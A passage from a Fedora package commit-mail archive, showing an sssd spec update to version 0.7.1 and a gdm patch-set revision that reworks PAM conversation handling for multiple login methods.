-sssd-0.7.0.tar.gz
+sssd-0.7.1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/sssd/F-12/sources,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- sources	23 Oct 2009 19:59:19 -0000	1.13
+++ sources	27 Oct 2009 19:45:11 -0000	1.14
@@ -1 +1 @@
-403945c70c902302e5d8babecb24b096  sssd-0.7.0.tar.gz
+827ef46d27c54ce790d329a6b1b82586  sssd-0.7.1.tar.gz


Index: sssd.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sssd/F-12/sssd.spec,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- sssd.spec	26 Oct 2009 13:33:50 -0000	1.26
+++ sssd.spec	27 Oct 2009 19:45:11 -0000	1.27
@@ -2,26 +2,23 @@
 %{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import *; import sys; sys.stdout.write(get_python_lib())")}
 
 Name: sssd
-Version: 0.7.0
-Release: 2%{?dist}
+Version: 0.7.1
+Release: 1%{?dist}
 Group: Applications/System
 Summary: System Security Services Daemon
 # The entire source code is GPLv3+ except replace/ which is LGPLv3+
 License: GPLv3+ and LGPLv3+
 URL: http://fedorahosted.org/sssd
 Source: https://fedorahosted.org/released/sssd/sssd-%{version}.tar.gz
-Source1: sssd.conf.default
 BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 
 ### Patches ###
 
-Patch1: 0001-Fix-migration-script-for-pre-0.5-local-domains.patch
-
 ### Dependencies ###
 
 Requires: libldb >= 0.9.3
 Requires: libtdb >= 1.1.3
-Requires: sssd-client = 0.7.0
+Requires: sssd-client = 0.7.1
 Requires(post): python
 Requires(preun):  initscripts chkconfig
 Requires(postun): /sbin/service
@@ -75,8 +72,6 @@ service.
 %prep
 %setup -q
 
-%patch1 -p1 -b .upgrade_fixes
-
 %build
 %configure \
     --without-tests \
@@ -97,7 +92,7 @@ make install DESTDIR=$RPM_BUILD_ROOT
 /usr/lib/rpm/find-lang.sh $RPM_BUILD_ROOT sss_client
 
 mkdir -p $RPM_BUILD_ROOT/%{_sysconfdir}/sssd
-install -m600 %{SOURCE1} $RPM_BUILD_ROOT%{_sysconfdir}/sssd/sssd.conf
+install -m600 server/examples/sssd.conf $RPM_BUILD_ROOT%{_sysconfdir}/sssd/sssd.conf
 
 install -m400 server/config/etc/sssd.api.conf $RPM_BUILD_ROOT%{_sysconfdir}/sssd/sssd.api.conf
 install -m400 server/config/etc/sssd.api.d/* $RPM_BUILD_ROOT%{_sysconfdir}/sssd/sssd.api.d/
@@ -194,6 +189,11 @@ fi
 %postun client -p /sbin/ldconfig
 
 %changelog
+* Tue Oct 27 2009 Stephen Gallagher <sgallagh at redhat.com> - 0.7.1-1
+- Fix segfault in sssd_pam when cache_credentials was enabled
+- Update the sample configuration
+- Fix upgrade issues caused by data provider service removal
+
 * Mon Oct 26 2009 Stephen Gallagher <sgallagh at redhat.com> - 0.7.0-2
 - Fix upgrade issues from old (pre-0.5.0) releases of SSSD
 


--- 0001-Fix-migration-script-for-pre-0.5-local-domains.patch DELETED ---



From rstrode at fedoraproject.org  Tue Oct 27 19:46:30 2009
From: rstrode at fedoraproject.org (Ray Strode)
Date: Tue, 27 Oct 2009 19:46:30 +0000 (UTC)
Subject: rpms/gdm/F-12 gdm-multistack.patch,1.5,1.6 gdm.spec,1.508,1.509
Message-ID: <20091027194630.53E0111C00E6@cvs1.fedora.phx.redhat.com>

Author: rstrode

Update of /cvs/pkgs/rpms/gdm/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13033

Modified Files:
	gdm-multistack.patch gdm.spec 
Log Message:
- One more go at bug 527920


gdm-multistack.patch:
 b/common/gdm-marshal.list                                            |    1 
 b/configure.ac                                                       |   45 
 b/daemon/gdm-factory-slave.c                                         |   13 
 b/daemon/gdm-greeter-server.c                                        |    2 
 b/daemon/gdm-greeter-server.h                                        |    5 
 b/daemon/gdm-product-slave.c                                         |   47 
 b/daemon/gdm-session-direct.c                                        |   14 
 b/daemon/gdm-session-private.h                                       |    3 
 b/daemon/gdm-session-relay.c                                         |   29 
 b/daemon/gdm-session-worker-job.c                                    |   11 
 b/daemon/gdm-session-worker-job.h                                    |    2 
 b/daemon/gdm-session-worker.c                                        |   27 
 b/daemon/gdm-session.c                                               |   20 
 b/daemon/gdm-session.h                                               |    9 
 b/daemon/gdm-simple-slave.c                                          |    3 
 b/daemon/test-session.c                                              |   14 
 b/gui/simple-greeter/Makefile.am                                     |    4 
 b/gui/simple-greeter/gdm-chooser-widget.c                            |   32 
 b/gui/simple-greeter/gdm-chooser-widget.h                            |    3 
 b/gui/simple-greeter/gdm-greeter-client.c                            |   18 
 b/gui/simple-greeter/gdm-greeter-client.h                            |    4 
 b/gui/simple-greeter/gdm-greeter-login-window.c                      |   91 
 b/gui/simple-greeter/gdm-greeter-login-window.glade                  |   39 
 b/gui/simple-greeter/gdm-greeter-login-window.h                      |   11 
 b/gui/simple-greeter/gdm-greeter-plugin.c                            |  255 +
 b/gui/simple-greeter/gdm-greeter-plugin.h                            |   61 
 b/gui/simple-greeter/gdm-greeter-session.c                           |    5 
 b/gui/simple-greeter/gdm-plugin-manager.c                            |  478 +++
 b/gui/simple-greeter/gdm-plugin-manager.h                            |   66 
 b/gui/simple-greeter/gdm-task-list.c                                 |  198 +
 b/gui/simple-greeter/gdm-task-list.h                                 |   65 
 b/gui/simple-greeter/gdm-user-chooser-widget.c                       |    2 
 b/gui/simple-greeter/libgdmsimplegreeter/Makefile.am                 |   46 
 b/gui/simple-greeter/libgdmsimplegreeter/gdm-conversation.c          |  147 +
 b/gui/simple-greeter/libgdmsimplegreeter/gdm-conversation.h          |   87 
 b/gui/simple-greeter/libgdmsimplegreeter/gdm-greeter-extension.c     |   93 
 b/gui/simple-greeter/libgdmsimplegreeter/gdm-greeter-extension.h     |   55 
 b/gui/simple-greeter/libgdmsimplegreeter/gdm-task.c                  |  117 
 b/gui/simple-greeter/libgdmsimplegreeter/gdm-task.h                  |   62 
 b/gui/simple-greeter/libgdmsimplegreeter/gdmsimplegreeter.pc.in      |   11 
 b/gui/simple-greeter/plugins/Makefile.am                             |    1 
 b/gui/simple-greeter/plugins/fingerprint/Makefile.am                 |   56 
 b/gui/simple-greeter/plugins/fingerprint/gdm-fingerprint-extension.c |  299 ++
 b/gui/simple-greeter/plugins/fingerprint/gdm-fingerprint-extension.h |   56 
 b/gui/simple-greeter/plugins/fingerprint/gdm-fingerprint.pam         |   17 
 b/gui/simple-greeter/plugins/fingerprint/icons/16x16/Makefile.am     |    5 
 b/gui/simple-greeter/plugins/fingerprint/icons/48x48/Makefile.am     |    5 
 b/gui/simple-greeter/plugins/fingerprint/icons/Makefile.am           |    1 
 b/gui/simple-greeter/plugins/fingerprint/page.ui                     |   56 
 b/gui/simple-greeter/plugins/fingerprint/plugin.c                    |   41 
 b/gui/simple-greeter/plugins/password/Makefile.am                    |   53 
 b/gui/simple-greeter/plugins/password/gdm-password-extension.c       |  314 ++
 b/gui/simple-greeter/plugins/password/gdm-password-extension.h       |   56 
 b/gui/simple-greeter/plugins/password/gdm-password.pam               |   19 
 b/gui/simple-greeter/plugins/password/page.ui                        |   56 
 b/gui/simple-greeter/plugins/password/plugin.c                       |   40 
 b/gui/simple-greeter/plugins/smartcard/Makefile.am                   |   77 
 b/gui/simple-greeter/plugins/smartcard/gdm-smartcard-extension.c     |  418 ++
 b/gui/simple-greeter/plugins/smartcard/gdm-smartcard-extension.h     |   56 
 b/gui/simple-greeter/plugins/smartcard/gdm-smartcard-manager.c       | 1394 ++++++++++
 b/gui/simple-greeter/plugins/smartcard/gdm-smartcard-manager.h       |   86 
 b/gui/simple-greeter/plugins/smartcard/gdm-smartcard-worker.c        |  167 +
 b/gui/simple-greeter/plugins/smartcard/gdm-smartcard.c               |  558 ++++
 b/gui/simple-greeter/plugins/smartcard/gdm-smartcard.h               |   94 
 b/gui/simple-greeter/plugins/smartcard/gdm-smartcard.pam             |   18 
 b/gui/simple-greeter/plugins/smartcard/icons/16x16/Makefile.am       |    5 
 b/gui/simple-greeter/plugins/smartcard/icons/48x48/Makefile.am       |    5 
 b/gui/simple-greeter/plugins/smartcard/icons/Makefile.am             |    1 
 b/gui/simple-greeter/plugins/smartcard/page.ui                       |   56 
 b/gui/simple-greeter/plugins/smartcard/plugin.c                      |   40 
 b/po/POTFILES.in                                                     |    2 
 configure.ac                                                         |   15 
 daemon/gdm-factory-slave.c                                           |  103 
 daemon/gdm-greeter-server.c                                          |  187 +
 daemon/gdm-greeter-server.h                                          |   19 
 daemon/gdm-product-slave.c                                           |  263 +
 daemon/gdm-session-direct.c                                          | 1124 +++++---
 daemon/gdm-session-private.h                                         |   29 
 daemon/gdm-session-relay.c                                           |  190 +
 daemon/gdm-session-worker-job.c                                      |   73 
 daemon/gdm-session-worker-job.h                                      |    6 
 daemon/gdm-session-worker.c                                          |   20 
 daemon/gdm-session.c                                                 |  229 +
 daemon/gdm-session.h                                                 |   59 
 daemon/gdm-simple-slave.c                                            |  223 +
 daemon/test-session.c                                                |   22 
 gui/simple-greeter/Makefile.am                                       |   15 
 gui/simple-greeter/gdm-chooser-widget.c                              |    9 
 gui/simple-greeter/gdm-chooser-widget.h                              |    3 
 gui/simple-greeter/gdm-greeter-client.c                              |  209 +
 gui/simple-greeter/gdm-greeter-client.h                              |   18 
 gui/simple-greeter/gdm-greeter-login-window.c                        | 1101 ++++++-
 gui/simple-greeter/gdm-greeter-login-window.glade                    |  144 -
 gui/simple-greeter/gdm-greeter-login-window.h                        |   21 
 gui/simple-greeter/gdm-greeter-session.c                             |  133 
 gui/simple-greeter/gdm-task-list.c                                   |  228 +
 gui/simple-greeter/gdm-task-list.h                                   |   36 
 gui/simple-greeter/gdm-user-chooser-widget.c                         |   32 
 gui/simple-greeter/libgdmsimplegreeter/Makefile.am                   |    2 
 gui/simple-greeter/libgdmsimplegreeter/gdm-conversation.c            |   51 
 gui/simple-greeter/libgdmsimplegreeter/gdm-conversation.h            |   13 
 gui/simple-greeter/libgdmsimplegreeter/gdm-task.c                    |    6 
 gui/simple-greeter/libgdmsimplegreeter/gdm-task.h                    |    2 
 gui/simple-greeter/plugins/Makefile.am                               |    4 
 gui/simple-greeter/plugins/fingerprint/gdm-fingerprint-extension.c   |   10 
 gui/simple-greeter/plugins/password/gdm-password-extension.c         |    7 
 gui/simple-greeter/plugins/smartcard/gdm-smartcard-extension.c       |   35 
 po/POTFILES.in                                                       |    2 
 108 files changed, 9619 insertions(+), 1271 deletions(-)

Index: gdm-multistack.patch
===================================================================
RCS file: /cvs/pkgs/rpms/gdm/F-12/gdm-multistack.patch,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- gdm-multistack.patch	26 Oct 2009 19:06:52 -0000	1.5
+++ gdm-multistack.patch	27 Oct 2009 19:46:29 -0000	1.6
@@ -1,7 +1,7 @@
 From dfa6b8d5ed60552f435c34c47bc45089fa3eef48 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Fri, 20 Feb 2009 13:52:19 -0500
-Subject: [PATCH 06/48] Add a comment marking protected api in chooser
+Subject: [PATCH 07/53] Add a comment marking protected api in chooser
 
 The chooser widget has methods that only its
 subclasses are supposed to call.  We should
@@ -24,13 +24,13 @@ index 578e613..7e3e59c 100644
  
  G_END_DECLS
 -- 
-1.6.5.rc2
+1.6.5.1
 
 
 From 7b4e38d04e246d7dc4c446ed2a3c69fcc67257cb Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Fri, 6 Feb 2009 17:44:37 -0500
-Subject: [PATCH 07/48] Drop duplicated entry introspection output
+Subject: [PATCH 08/53] Drop duplicated entry introspection output
 
 ---
  daemon/gdm-greeter-server.c |    1 -
@@ -49,13 +49,13 @@ index 2e01d33..cecce83 100644
                                 "    </signal>\n"
                                 "    <signal name=\"TimedLoginRequested\">\n"
 -- 
-1.6.5.rc2
+1.6.5.1
 
 
 From 8d5ddd913f13581df1662730745c1d906772185e Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Mon, 2 Mar 2009 10:07:03 -0500
-Subject: [PATCH 08/48] Make lookup_item not warn when passing NULL for args
+Subject: [PATCH 09/53] Make lookup_item not warn when passing NULL for args
 
 gtk_tree_model_get doesn't like NULL, and we allow
 NULL for optional return values.
@@ -110,13 +110,13 @@ index 2875456..cbd5072 100644
          return TRUE;
  }
 -- 
-1.6.5.rc2
+1.6.5.1
 
 
 From 57a0d19b8b1e5e7a2132b15ea2c536207b61f80f Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Fri, 6 Feb 2009 15:35:00 -0500
-Subject: [PATCH 09/48] Drop "stopped" signal from worker-job class
+Subject: [PATCH 10/53] Drop "stopped" signal from worker-job class
 
 It was unused, dead code.
 ---
@@ -206,14 +206,13 @@ index d42eb37..5ad1c92 100644
                                      int                   exit_code);
  
 -- 
-1.6.5.rc2
-
+1.6.5.1
 
 
 From 98b3621d59550909f9d837e94d3cb15d20730f30 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Wed, 13 May 2009 13:43:33 -0400
-Subject: [PATCH 11/48] Don't send auth-failed when worker dies
+Subject: [PATCH 12/53] Don't send auth-failed when worker dies
 
 Authentication hasn't failed, it just got aborted before it
 could.  This prevents a crash that happens when switching
@@ -281,15 +280,40 @@ index b6abae4..8eadf4d 100644
  }
  
 -- 
-1.6.5.rc2
+1.6.5.1
+
 
+From c3d7aa8a30e643ee6068220abd3209b6bbdc6c1a Mon Sep 17 00:00:00 2001
+From: Ray Strode <rstrode at redhat.com>
+Date: Fri, 23 Oct 2009 17:40:36 -0400
+Subject: [PATCH 20/53] Don't set has_other_user to FALSE in ctor
 
+It's initialized to FALSE anyway, and we were
+setting it too late.
+---
+ gui/simple-greeter/gdm-user-chooser-widget.c |    1 -
+ 1 files changed, 0 insertions(+), 1 deletions(-)
 
+diff --git a/gui/simple-greeter/gdm-user-chooser-widget.c b/gui/simple-greeter/gdm-user-chooser-widget.c
+index 167e324..77e06a7 100644
+--- a/gui/simple-greeter/gdm-user-chooser-widget.c
++++ b/gui/simple-greeter/gdm-user-chooser-widget.c
+@@ -549,7 +549,6 @@ gdm_user_chooser_widget_constructor (GType                  type,
+                                                                                                               n_construct_properties,
+                                                                                                               construct_properties));
+ 
+-        widget->priv->has_user_other = FALSE;
+         widget->priv->show_normal_users = !is_user_list_disabled (widget);
+ 
+         widget->priv->load_idle_id = g_idle_add ((GSourceFunc)load_users, widget);
+-- 
+1.6.5.1
 
-From b8b6b84593eef0b1017c794e2c0f8be71d2e4430 Mon Sep 17 00:00:00 2001
+
+From 2864b1cd3300eabd82ed0e75fd6a7c963099b1c3 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Fri, 16 Jan 2009 11:00:08 -0500
-Subject: [PATCH 19/48] Drop session "Open" in favor of "StartConversation"
+Subject: [PATCH 22/53] Drop session "Open" in favor of "StartConversation"
 
 We want to eventually support having multiple
 simultaneous PAM conversations in one login
@@ -1488,13 +1512,13 @@ index c6a158c..d9fa26e 100644
                  g_signal_connect (session,
                                    "setup-complete",
 -- 
-1.6.5.rc2
+1.6.5.1
 
 
-From 842ab915bec7765c04503a1737bbaf0389b21068 Mon Sep 17 00:00:00 2001
+From 8171ce2967b38807851aa0137142eb03806744bb Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Wed, 4 Feb 2009 10:55:03 -0500
-Subject: [PATCH 20/48] Rename session worker to the service it's managing
+Subject: [PATCH 23/53] Rename session worker to the service it's managing
 
 This way when we're running multiple PAM conversations at once
 it will be obvious which worker is managing which conversation.
@@ -1677,13 +1701,13 @@ index d24f025..4833f23 100644
  
  GPid                    gdm_session_worker_job_get_pid            (GdmSessionWorkerJob *session_worker_job);
 -- 
-1.6.5.rc2
+1.6.5.1
 
 
-From 21c1bc991ae19fa6fbf9f7b17ee4953d951896f0 Mon Sep 17 00:00:00 2001
+From 1e533b06380bf7c5a32ae9b472f96f1a67e9c6da Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Fri, 16 Jan 2009 13:01:48 -0500
-Subject: [PATCH 21/48] Make greeter explicitly request PAM conversation
+Subject: [PATCH 24/53] Make greeter explicitly request PAM conversation
 
 Now the greeter has to say what PAM stack it wants the slave to
 run.  When that stack is ready, we emit the Ready signal as
@@ -2023,13 +2047,13 @@ index e7d206a..cd0cbdf 100644
  
          return res;
 -- 
-1.6.5.rc2
+1.6.5.1
 
 
-From a5ff276de4b0bdefd5f77f1babf7c1a4319109f0 Mon Sep 17 00:00:00 2001
+From b1a09fe70f645641f4e88564b468ef1911d5bd48 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Fri, 16 Jan 2009 15:18:31 -0500
-Subject: [PATCH 22/48] Store multiple conversations in the session
+Subject: [PATCH 25/53] Store multiple conversations in the session
 
 We keep multiple conversations in the session now, keyed off of
 PAM service is at the other end.  Much of the guts still
@@ -2281,13 +2305,13 @@ index 51ecf39..b86475c 100644
  
  char *
 -- 
-1.6.5.rc2
+1.6.5.1
 
 
-From 58cc408e2f080fc2787f44624d0267248e2000d3 Mon Sep 17 00:00:00 2001
+From 5d1c8fa1d1874adbef0587827caad7d09916a4ee Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Wed, 4 Mar 2009 22:09:21 -0500
-Subject: [PATCH 23/48] start autologin conversation when creating session if necessary
+Subject: [PATCH 26/53] start autologin conversation when creating session if necessary
 
 Without this autologin breaks, since when it comes time to
 autologin, there's no worker to do it.
@@ -2319,13 +2343,13 @@ index 8863fd4..4db7440 100644
          } else {
                  if (slave->priv->connection_attempts >= MAX_CONNECT_ATTEMPTS) {
 -- 
-1.6.5.rc2
+1.6.5.1
 
 
-From 17e530f18b91d47e98f4ef6dae0882d52ca476e0 Mon Sep 17 00:00:00 2001
+From a7d9baab98651d5a36b674c5dd5745bdd980918d Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Thu, 22 Jan 2009 08:52:01 -0500
-Subject: [PATCH 24/48] Propagate service name to more layers
+Subject: [PATCH 27/53] Propagate service name to more layers
 
 This is more prep work to get multiple concurrent
 PAM stacks going.
@@ -2334,7 +2358,7 @@ PAM stacks going.
  daemon/gdm-greeter-server.c              |  120 ++++++--
  daemon/gdm-greeter-server.h              |   17 +-
  daemon/gdm-product-slave.c               |  233 ++++++++++++---
- daemon/gdm-session-direct.c              |  470 +++++++++++++++++-------------
+ daemon/gdm-session-direct.c              |  472 +++++++++++++++++-------------
  daemon/gdm-session-private.h             |   22 ++-
  daemon/gdm-session-relay.c               |  122 ++++++--
  daemon/gdm-session-worker.c              |   27 ++
@@ -2345,7 +2369,7 @@ PAM stacks going.
  gui/simple-greeter/gdm-greeter-client.c  |  188 ++++++++++---
  gui/simple-greeter/gdm-greeter-client.h  |   16 +-
  gui/simple-greeter/gdm-greeter-session.c |   11 +-
- 15 files changed, 1123 insertions(+), 453 deletions(-)
+ 15 files changed, 1125 insertions(+), 453 deletions(-)
 
 diff --git a/daemon/gdm-factory-slave.c b/daemon/gdm-factory-slave.c
 index d1bb5dd..826612e 100644
@@ -3347,7 +3371,7 @@ index 15a2820..dd2e1bc 100644
  
  static void
 diff --git a/daemon/gdm-session-direct.c b/daemon/gdm-session-direct.c
-index b86475c..26e4c2e 100644
+index b86475c..1c151fd 100644
 --- a/daemon/gdm-session-direct.c
 +++ b/daemon/gdm-session-direct.c
 @@ -83,10 +83,10 @@ struct _GdmSessionDirectPrivate
@@ -4188,7 +4212,16 @@ index b86475c..26e4c2e 100644
  }
  
  static gboolean
-@@ -1750,10 +1799,6 @@ gdm_session_direct_start_conversation (GdmSession *session,
+@@ -1725,6 +1774,8 @@ stop_conversation (GdmSessionConversation *conversation)
+                                               conversation);
+ 
+         if (conversation->worker_connection != NULL) {
++                dbus_connection_remove_filter (conversation->worker_connection, on_message, session);
++
+                 dbus_connection_close (conversation->worker_connection);
+                 conversation->worker_connection = NULL;
+         }
+@@ -1750,10 +1801,6 @@ gdm_session_direct_start_conversation (GdmSession *session,
  
          g_hash_table_insert (impl->priv->conversations,
                               g_strdup (service_name), conversation);
@@ -4199,7 +4232,7 @@ index b86475c..26e4c2e 100644
  }
  
  static void
-@@ -1904,45 +1949,50 @@ gdm_session_direct_setup_for_user (GdmSession *session,
+@@ -1904,45 +1951,50 @@ gdm_session_direct_setup_for_user (GdmSession *session,
  }
  
  static void
@@ -4263,7 +4296,7 @@ index b86475c..26e4c2e 100644
          switch (cred_flag) {
          case GDM_SESSION_CRED_ESTABLISH:
                  send_dbus_void_signal (conversation, "EstablishCredentials");
-@@ -1956,13 +2006,12 @@ gdm_session_direct_accredit (GdmSession *session,
+@@ -1956,13 +2008,12 @@ gdm_session_direct_accredit (GdmSession *session,
  }
  
  static void
@@ -4280,7 +4313,7 @@ index b86475c..26e4c2e 100644
  
          message = dbus_message_new_signal (GDM_SESSION_DBUS_PATH,
                                             GDM_SESSION_DBUS_INTERFACE,
-@@ -1972,7 +2021,6 @@ send_environment_variable (const char       *key,
+@@ -1972,7 +2023,6 @@ send_environment_variable (const char       *key,
          dbus_message_iter_append_basic (&iter, DBUS_TYPE_STRING, &key);
          dbus_message_iter_append_basic (&iter, DBUS_TYPE_STRING, &value);
  
@@ -4288,7 +4321,7 @@ index b86475c..26e4c2e 100644
          if (! send_dbus_message (conversation, message)) {
                  g_debug ("GdmSessionDirect: Could not send %s signal", "SetEnvironmentVariable");
          }
-@@ -1981,12 +2029,13 @@ send_environment_variable (const char       *key,
+@@ -1981,12 +2031,13 @@ send_environment_variable (const char       *key,
  }
  
  static void
@@ -4304,7 +4337,7 @@ index b86475c..26e4c2e 100644
  }
  
  static const char *
-@@ -2103,7 +2152,8 @@ setup_session_environment (GdmSessionDirect *session)
+@@ -2103,7 +2154,8 @@ setup_session_environment (GdmSessionDirect *session)
  }
  
  static void
@@ -4314,7 +4347,7 @@ index b86475c..26e4c2e 100644
  {
          GdmSessionDirect *impl = GDM_SESSION_DIRECT (session);
          GdmSessionConversation *conversation;
-@@ -2117,10 +2167,11 @@ gdm_session_direct_start_session (GdmSession *session)
+@@ -2117,10 +2169,11 @@ gdm_session_direct_start_session (GdmSession *session)
          program = g_strdup_printf (GDMCONFDIR "/Xsession \"%s\"", command);
          g_free (command);
  
@@ -4328,7 +4361,7 @@ index b86475c..26e4c2e 100644
          send_dbus_string_signal (conversation, "StartProgram", program);
          g_free (program);
  }
-@@ -2166,6 +2217,11 @@ gdm_session_direct_close (GdmSession *session)
+@@ -2166,6 +2219,11 @@ gdm_session_direct_close (GdmSession *session)
  
          stop_all_conversations (impl);
  
@@ -4340,7 +4373,7 @@ index b86475c..26e4c2e 100644
          g_free (impl->priv->selected_user);
          impl->priv->selected_user = NULL;
  
-@@ -2198,6 +2254,7 @@ gdm_session_direct_close (GdmSession *session)
+@@ -2198,6 +2256,7 @@ gdm_session_direct_close (GdmSession *session)
  
  static void
  gdm_session_direct_answer_query  (GdmSession *session,
@@ -4348,7 +4381,7 @@ index b86475c..26e4c2e 100644
                                    const char *text)
  {
          GdmSessionDirect *impl = GDM_SESSION_DIRECT (session);
-@@ -2205,7 +2262,7 @@ gdm_session_direct_answer_query  (GdmSession *session,
+@@ -2205,7 +2264,7 @@ gdm_session_direct_answer_query  (GdmSession *session,
  
          g_return_if_fail (session != NULL);
  
@@ -4357,7 +4390,7 @@ index b86475c..26e4c2e 100644
  
          answer_pending_query (conversation, text);
  }
-@@ -2231,7 +2288,8 @@ gdm_session_direct_select_session (GdmSession *session,
+@@ -2231,7 +2290,8 @@ gdm_session_direct_select_session (GdmSession *session,
                                     const char *text)
  {
          GdmSessionDirect *impl = GDM_SESSION_DIRECT (session);
@@ -4367,7 +4400,7 @@ index b86475c..26e4c2e 100644
  
          g_free (impl->priv->selected_session);
  
-@@ -2241,9 +2299,15 @@ gdm_session_direct_select_session (GdmSession *session,
+@@ -2241,9 +2301,15 @@ gdm_session_direct_select_session (GdmSession *session,
                  impl->priv->selected_session = g_strdup (text);
          }
  
@@ -4386,7 +4419,7 @@ index b86475c..26e4c2e 100644
  }
  
  static void
-@@ -2251,7 +2315,8 @@ gdm_session_direct_select_language (GdmSession *session,
+@@ -2251,7 +2317,8 @@ gdm_session_direct_select_language (GdmSession *session,
                                      const char *text)
  {
          GdmSessionDirect *impl = GDM_SESSION_DIRECT (session);
@@ -4396,7 +4429,7 @@ index b86475c..26e4c2e 100644
  
          g_free (impl->priv->selected_language);
  
-@@ -2261,9 +2326,15 @@ gdm_session_direct_select_language (GdmSession *session,
+@@ -2261,9 +2328,15 @@ gdm_session_direct_select_language (GdmSession *session,
                  impl->priv->selected_language = g_strdup (text);
          }
  
@@ -4415,7 +4448,7 @@ index b86475c..26e4c2e 100644
  }
  
  static void
-@@ -2271,7 +2342,8 @@ gdm_session_direct_select_layout (GdmSession *session,
+@@ -2271,7 +2344,8 @@ gdm_session_direct_select_layout (GdmSession *session,
                                    const char *text)
  {
          GdmSessionDirect *impl = GDM_SESSION_DIRECT (session);
@@ -4425,7 +4458,7 @@ index b86475c..26e4c2e 100644
  
          g_free (impl->priv->selected_layout);
  
-@@ -2281,9 +2353,15 @@ gdm_session_direct_select_layout (GdmSession *session,
+@@ -2281,9 +2355,15 @@ gdm_session_direct_select_layout (GdmSession *session,
                  impl->priv->selected_layout = g_strdup (text);
          }
  
@@ -6324,13 +6357,13 @@ index cd0cbdf..e856dd4 100644
  
  static int
 -- 
-1.6.5.rc2
+1.6.5.1
 
 
-From 0da23146a01fe3664b610bb92e68f289912df6a1 Mon Sep 17 00:00:00 2001
+From 37d0aae4df27dacac5f2720ba5dc2698a03ae04c Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Sat, 7 Feb 2009 11:36:40 -0500
-Subject: [PATCH 25/48] emit "ConversationStopped" signal at end of conv
+Subject: [PATCH 28/53] emit "ConversationStopped" signal at end of conv
 
 This will allow us to track when individual
 PAM conversations fail, instead of doing one
@@ -6401,14 +6434,14 @@ index 6d0dd87..976f0b7 100644
                                                                const char       *text);
  void                gdm_greeter_server_default_language_name_changed (GdmGreeterServer *greeter_server,
 diff --git a/daemon/gdm-session-direct.c b/daemon/gdm-session-direct.c
-index 26e4c2e..f44c88c 100644
+index 1c151fd..dc8b4f6 100644
 --- a/daemon/gdm-session-direct.c
 +++ b/daemon/gdm-session-direct.c
 @@ -1697,9 +1697,15 @@ worker_exited (GdmSessionWorkerJob *job,
  {
          g_debug ("GdmSessionDirect: Worker job exited: %d", code);
  
-+        g_object_ref (conversation);
++        g_object_ref (conversation->job);
          if (conversation->session->priv->is_running) {
                  _gdm_session_session_exited (GDM_SESSION (conversation->session), code);
          }
@@ -6416,7 +6449,7 @@ index 26e4c2e..f44c88c 100644
 +        g_debug ("GdmSessionDirect: Emitting conversation-stopped signal");
 +        _gdm_session_conversation_stopped (GDM_SESSION (conversation->session),
 +                                           conversation->service_name);
-+        g_object_unref (conversation);
++        g_object_unref (conversation->job);
  }
  
  static void
@@ -6424,7 +6457,7 @@ index 26e4c2e..f44c88c 100644
  {
          g_debug ("GdmSessionDirect: Worker job died: %d", signum);
  
-+        g_object_ref (conversation);
++        g_object_ref (conversation->job);
          if (conversation->session->priv->is_running) {
                  _gdm_session_session_died (GDM_SESSION (conversation->session), signum);
          }
@@ -6432,11 +6465,11 @@ index 26e4c2e..f44c88c 100644
 +        g_debug ("GdmSessionDirect: Emitting conversation-stopped signal");
 +        _gdm_session_conversation_stopped (GDM_SESSION (conversation->session),
 +                                           conversation->service_name);
-+        g_object_unref (conversation);
++        g_object_unref (conversation->job);
  }
  
  static GdmSessionConversation *
-@@ -1782,6 +1794,10 @@ stop_conversation (GdmSessionConversation *conversation)
+@@ -1784,6 +1796,10 @@ stop_conversation (GdmSessionConversation *conversation)
  
          g_object_unref (conversation->job);
          conversation->job = NULL;
@@ -6447,7 +6480,7 @@ index 26e4c2e..f44c88c 100644
  }
  
  static void
-@@ -1802,6 +1818,25 @@ gdm_session_direct_start_conversation (GdmSession *session,
+@@ -1804,6 +1820,25 @@ gdm_session_direct_start_conversation (GdmSession *session,
  }
  
  static void
@@ -6473,7 +6506,7 @@ index 26e4c2e..f44c88c 100644
  send_setup (GdmSessionDirect *session,
              const char       *service_name)
  {
-@@ -2621,6 +2656,7 @@ static void
+@@ -2623,6 +2658,7 @@ static void
  gdm_session_iface_init (GdmSessionIface *iface)
  {
          iface->start_conversation = gdm_session_direct_start_conversation;
@@ -6667,13 +6700,38 @@ index 9421a64..6eadf62 100644
                            G_CALLBACK (on_session_setup_complete),
                            slave);
 -- 
-1.6.5.rc2
+1.6.5.1
 
 
-From 5e7249e98b90ad1145aa964273ac821ec0282cb0 Mon Sep 17 00:00:00 2001
+From a8f8cb3bb02437372bf25e2c2fc709b1bd77feda Mon Sep 17 00:00:00 2001
+From: Ray Strode <rstrode at redhat.com>
+Date: Mon, 26 Oct 2009 10:17:49 -0400
+Subject: [PATCH 29/53] init session pid to -1
+
+---
+ daemon/gdm-session-direct.c |    1 -
+ 1 files changed, 0 insertions(+), 1 deletions(-)
+
+diff --git a/daemon/gdm-session-direct.c b/daemon/gdm-session-direct.c
+index dc8b4f6..e0b5f32 100644
+--- a/daemon/gdm-session-direct.c
++++ b/daemon/gdm-session-direct.c
